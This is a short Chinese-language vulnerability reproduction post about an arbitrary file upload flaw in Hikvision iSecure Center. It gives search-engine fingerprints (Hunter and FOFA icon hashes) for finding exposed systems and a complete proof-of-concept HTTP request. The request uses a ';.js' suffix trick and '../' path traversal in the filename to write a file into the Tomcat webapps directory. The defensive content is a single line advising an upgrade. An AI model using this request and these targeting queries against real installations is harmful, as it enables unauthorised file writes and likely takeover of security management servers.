海康威视isecure center 综合安防管理平台文件上传漏洞复现

1.简介

工作发现，海康威视isecure center存在文件上传漏洞，该漏洞是由于海康威视isecure center存在不严谨，可能导致存在任意文件上传漏洞。

2.资产测绘

鹰图：

web.icon=="4209fe52e5c15345d0a1250f68a14d1e"

fofa：

icon_hash=“-808437027”
app=“HIKVISION-iSecure-Center”

3.poc

POST /center/api/files;.js HTTP/1.1

Host: you-ip

User-Agent: python-requests/2.31.0

Accept-Encoding: gzip, deflate

Accept: */*

Connection: close

Content-Length: 258

Content-Type: multipart/form-data; boundary=e54e7e5834c8c50e92189959fe7227a4

--e54e7e5834c8c50e92189959fe7227a4

Content-Disposition: form-data; name="file"; filename="../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/2BT5AV96QW.txt"

Content-Type: application/octet-stream

123123

--e54e7e5834c8c50e92189959fe7227a4--

 

访问/clusterMgr/2BT5AV96QW.txt;.js 

4.修复建议

升级至最新版。。。。